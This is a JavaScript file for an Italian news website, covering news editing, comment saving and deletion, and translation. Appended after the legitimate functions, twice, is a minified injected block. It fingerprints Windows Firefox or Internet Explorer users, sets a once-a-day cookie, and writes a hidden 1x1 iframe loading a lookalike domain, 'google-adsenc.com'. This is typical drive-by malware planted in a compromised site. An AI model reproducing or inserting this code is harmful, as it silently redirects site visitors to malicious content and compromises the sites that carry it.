/*
|--------------------------------------------------------------------------
| FUNZIONI INIZIALIZZAZIONE PAGINE
|--------------------------------------------------------------------------
|
| vengono richiamate all'interno della funzione 
| document.ready nell'header della pagina di riferimento
|
*/

/*
 * inizializza la pagina per scrivere la news
 */	
function writePage_init()
{
	//CKFinder.SetupCKEditor( null, '<?php echo JAVASCRIPT_INCLUDE_FOLDER; ?>/ckfinder/' );
	$("#news").ckeditor();
	CKFinder.SetupCKEditor( null, HOME_URL+'/system/js/include/ckfinder/' );

	$("#send_news").bind('click',function()
	{
		$("#login_overlay p").text('salvataggio news in corso');
   		$("#login_overlay").show();
		var news = 
		{
				title:		$(this).parent().children('input').val(),
				text:		$(this).parent().children('textarea').val(),
				category:	$(this).parent().children('select').val()
		};
		var callbacks = {'success':'saveNews_success','error':'saveNews_error'};
		var URL = HOME_URL+'/post/save/';
		AJAXcall(URL,news,callbacks,CONTENT_TYPE_JSON);
	});
}

/*
 * inizializza la pagina per leggere la news
 */	
function readNews_init(ni)
{
	$("p.flags").children().bind('click', function(){triggerTranslate($(this).attr("id"));});
	$("#save_comment").bind('click',function(){sendComment(ni,$("textarea").val());});
}

/*
 * inizializza la pagina per modificare la news
 */	
function editPage_init(id)
{
	$("#news").ckeditor();
	CKFinder.SetupCKEditor( null, HOME_URL+'/system/js/include/ckfinder/' );

	$("#send_news").bind('click',function()
	{
		$("#login_overlay p").text('aggiornamento news in corso');
   		$("#login_overlay").show();
		var news = 
		{
				id:			id,
				title:		$(this).prev().children('input').val(),
				text:		$(this).prev().children('textarea').val(),
				category:	$(this).prev().children('select').val()
		};
		var callbacks = {'success':'saveNews_success','error':'saveNews_error'};
		var URL = HOME_URL+'/post/update/';
		AJAXcall(URL,news,callbacks,CONTENT_TYPE_JSON);
	});
	
	$("#delete img").bind('click',function(){deleteComment($(this).parent().parent().attr('id'));});
}

/*
|--------------------------------------------------------------------------
| FUNZIONI CHIAMATE AJAX
|--------------------------------------------------------------------------
|
| richiamano i rispettivi metodi
|
*/

/*
 * invia il commento
 */
function sendComment(newsid,text)
{
   	$("#login_overlay p").text('salvataggio commento');
   	$("#login_overlay").show();	
	var comment =
	{
		news:	newsid,
		text:	text
	};
	
	var callbacks = {'success':'saveComment_success','error':'saveComment_error'};
	AJAXcall(HOME_URL+'/postcomment/save/',comment,callbacks,CONTENT_TYPE_JSON);
}

/*
* elimina il commento
*/
function deleteComment(id)
{
	if(confirm("Sicuro di voler eliminare il commento #"+id+"?"))
	{
		var comment = {id:id};
		var callbacks = {'success':'deleteComment_success','error':'deleteComment_error'};
		AJAXcall(HOME_URL+'/postcomment/delete/',comment,callbacks,CONTENT_TYPE_JSON);
	}
}

/*
|--------------------------------------------------------------------------
| FUNZIONI CALLBACK PER LE FUNZIONI SOPRA
|--------------------------------------------------------------------------
|
| agiscono dopo la chiamata ajax a seconda del risultato
|
*/

/*
 * callbacks per la chiamata ajax del salvataggio news
 */
function saveNews_success(data)
{
	if(data.resp)
		redirect(HOME_URL+'/post/show/'+data.news_id+'/'+data.url);
	else
		alert(data.error);
}
function saveNews_error()
{
	alert('error');
}


/*
 * callbacks per la chiamata ajax del salvataggio commento
 */
function saveComment_success(data)
{
	if(data.resp)
	{
		var div = $("<div />").addClass('saved').hide();
		var img = new Image(50,50);
		img.src = data.img;
		var span1 = $("<span />").addClass('metadata').text(data.user);
		var span2 = $("<span />").addClass('text').text(data.text);
		div.append(img).append(span1).append(span2);
		$(".write_comment").before(div);
		$(".write_comment").before("<br />");
		div.fadeIn('slow',function(){$("#login_overlay").fadeOut('fast');});
	}
	else
		alert('error');
}
function saveComment_error()
{
	alert('error');
}

/*
 * callbacks per la chiamata ajax deleting commento
 */
function deleteComment_success(data)
{
	if(data.resp)
	{
		$("#"+data.id).fadeOut();
	}
	else
		alert('error');
}
function deleteComment_error()
{
	alert('error');
}

/*
|--------------------------------------------------------------------------
| FUNZIONI VARIE
|--------------------------------------------------------------------------
|
*/

/*
 * fa partire la traduzione
 */
function triggerTranslate(lang)
{
	if(lang!='ita')
	{
		translate({l:lang,source:$("#news_text_hack"),dest:$("#news_text_t"),original:$("#news_text")});
	}
	else
	{
		location.href=location.href;
	}
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
